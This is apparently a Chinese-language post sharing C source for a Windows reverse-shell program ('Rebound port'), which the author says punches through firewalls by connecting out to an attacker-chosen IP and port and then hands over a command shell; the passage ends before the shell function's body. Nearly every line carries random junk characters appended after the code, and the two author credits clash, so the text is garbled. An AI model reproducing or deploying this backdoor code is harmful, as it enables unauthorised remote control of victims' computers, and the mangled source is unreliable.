这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0CvGpM,
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Rebound port in Windows NT k 1a?yH)=
By wind,2006/7 2rW9ja
===============================*/ w59q* 2
#include P+Gz'
#include :7i x`C2
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#pragma comment(lib,"wsock32.lib") Uq @].3nf
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void OutputShell(); +_{cq@c
SOCKET sClient; { P,hH~!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %gQUog
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void main(int argc,char **argv) lQiw8qD
{ &Z3%UOY
WSADATA stWsaData; 8f1M6GK?
int nRet; Bd 0oA
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SOCKADDR_IN stSaiClient,stSaiServer; kBLFK3i
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if(argc != 3) omGzyuPF
{ Qv`: E
printf("Useage:\n\rRebound DestIP DestPort\n"); S?6-I,]h
return; s)fahc(@E
} Q@W!6]*\
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6.a5%:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <.Pt%Kg^BS
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stSaiClient.sin_family = AF_INET; /E2P
stSaiClient.sin_port = htons(0); h-|IZ}F7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v%c/eAF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zRd.!Rv
{ R?;mu^B
printf("Bind Socket Failed!\n"); "G~!J\
return; pKpB
} "O-X*>?f
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stSaiServer.sin_family = AF_INET; #t;]s<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xMNQT.A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O9zMD8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !H@HgJ
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printf("Connect Error!"); `"}).{N]C
return; uY(8KW
} +ue1+#
OutputShell(); ',xUU{5?
} .>#O'Z&q9
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void OutputShell() KO7&